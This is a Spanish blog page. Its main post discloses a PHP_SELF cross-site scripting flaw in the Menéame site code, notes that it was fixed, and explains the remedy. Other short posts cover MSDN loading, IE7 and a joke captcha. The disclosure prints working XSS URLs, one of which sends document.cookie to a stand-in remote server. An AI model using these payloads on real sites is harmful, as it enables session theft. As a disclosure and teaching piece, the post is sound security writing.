Categories
PHP Seguridad Varios XSS

¿Menéame, vulnerable a ataques XSS?

La lectura del libro Writing Secure Code, últimamente me ha motivado a revisar código de distintas aplicaciones en busca de algunas fallas. Es así que mientras miraba el código fuente de menéame (a.k.a. clon de Digg), ví -valga la redundacia- que éste era suceptible a ataques XSS, posiblemente en los siguientes archivos:

  • www\blogscloud.php
  • www\cloud.php
  • www\comments_rss2.php ¿?
  • www\rss2.php ¿?
  • www\topstories.php
  • www\topusers-big.php
  • www\topusers.php
  • www\libs\html1.php ¿?
  • www\backend\comment_edit.php ¿?

Actualización: El error ha sido solucionado minutos después de haber publicado el bug en http://meneame.wikispaces.com/Bugs, es por eso que me gusta el software libre!.

El error -un viejo conocido de otras aplicaciones- consiste en que no se valida de manera correcta el uso de la variable predefinida PHP_SELF, así por ejemplo en la línea 80 de cloud.php tenemos algo como esto:

php:

echo '<li><a href="'.$_SERVER['PHP_SELF'].'?range='.$i.'">' .$range_names[$i]. '</a></li>'."\n";

A simple vista pareciera que la línea no contiene ningún error, pero el pequeño detalle es que el contenido de PHP_SELF puede ser modificado por el usuario.

'PHP_SELF'

El nombre de archivo del script ejecutándose actualmente, relativo a la raíz de documentos. Por ejemplo, $_SERVER['PHP_SELF'] en un script en la dirección http://example.com/test.php/foo.bar sería /test.php/foo.bar. La constante __FILE__ contiene la ruta completa y nombre del archivo actual (es decir, incluido).

Si PHP está siendo ejecutado como un procesador de línea de comandos, esta variable contiene el nombre del script a partir de PHP 4.3.0. Anteriormente no estaba disponible.

Fuente: Variables Predefinidas

Ejemplos

Si armamos la siguiente URL, al cargar la página debería aparecer un mensaje mostrando las cookies relacionadas al sitio:

html:

<!-- URL -->
http://meneame.net/cloud.php/"><script>alert(document.cookie)</script><foo"

<!-- El código HTML enviado al cliente -->
<li><a href="/cloud.php/"><script>alert(document.cookie)</script><foo"?range=1">última semana</a></li>

Si esta vez se arma una URL como la siguiente, entonces lo que puede pasar es que las cookies sean enviadas a un servidor remoto, probablemente para fines no muy éticos.

html:

http://meneame.net/cloud.php/"><script>document.location='http://www.servidor-remoto.net?cookies='+document.cookie</script><foo"

Solución

Usar otra variable predefinida (¿REQUEST_URI?), la función htmlentities para escapar el contenido de PHP_SELF o borrar los caracteres peligrosos de éste.

Actualización: Según la documentación, SCRIPT_NAME debe usarse para referenciar a una misma página.

SCRIPT_NAME

Contiene la ruta del script actual. Ésta es útil para páginas que necesitan apuntar a ellas mismas. La constante __FILE__ contiene la ruta completa y nombre del archivo actual (es decir, incluido).

Fuente: Variables Predefinidas

Notas finales

Debemos tener cuidado en validar correctamente los datos que son enviados y/o aquellos que son modificables por el usuario.

Cabe aclarar que ésta entrada no es ninguna represalia por el hecho que tildaron de spammer -con justa razón- a mi amigo Braulio en uno de sus envíos a Menéame. 😀

Links recomendados

Categories
.NET Varios

Tip: Como acelerar la carga de las páginas de MSDN2 (documentación)

Todos aquellos que se hayan dado una vuelta por la nueva documentación en línea de MSDN, se habrán dado cuenta que demora una eternidad en cargar, al menos para los que tienen una conexión lenta -como es mi caso.

El truco para que cargue rápidamente, es que tu navegador se identifique como si fuera uno de bajo nivel, al hacer esto, sólo se visualiza una página bien sencilla conteniendo la documentación de la sección a la que se accede. (ver la entrada Problemas validando el código que genera ASP.NET? para una breve explicación de este comportamiento).

Personalmente utilizo Firefox, que con ayuda de la extensión User Agent Switcher, hago pasar a mi navegador como el bot de Google.

Google Bot User Agent

Espero que esto les ahorre un poco de ancho de banda :-D.

Categories
Recursos Varios

Recursos de fin de semana (III)

Más recursos para este fin de semana largo, y de paso deseando Felices Fiestas Patrias a mis paisanos peruanos:

Buen fin de semana 😉

Categories
Varios

IE7 será distribuido mediante actualizaciones automáticas

Los desarrolladores de Internet Explorer, acaban de anunciar que la nueva versión de éste navegador será distribuida mediante actualizaciones automáticas como una actualización de máxima seguridad.

Mirándolo desde el lado malo, para todos los desarrolladores será difícil "testear" sus aplicaciones en otros navegadores antiguos (léase IE6), ya que todo será desarrolado basándose en IE7.

Otro problemita sería para los usuarios que usan Windows "Bamba" (aproximádamente el 90%) no podrán instalar esta actualización.

La actualización está planeada para fines de este año, pero veremos que sucede en estos días.

Categories
PHP Varios

Hot Capcha: el único captcha a prueba de bots

Ningún CAPTCHA es realmente efectivo, siempre tienen alguna vulnerabilidad que permite a los spammers "romper" el código que se muestra.

Para esto ha salido el ¿único? e infalible Hot Captcha, en el que para identificarnos como humanos sólo nos hace una sencilla pregunta:

"In order to prove to us you are not a robot, select the three hot people"

A ver si tienen suerte y les reconocen como seres humanos.

Enlace: Hot Capcha.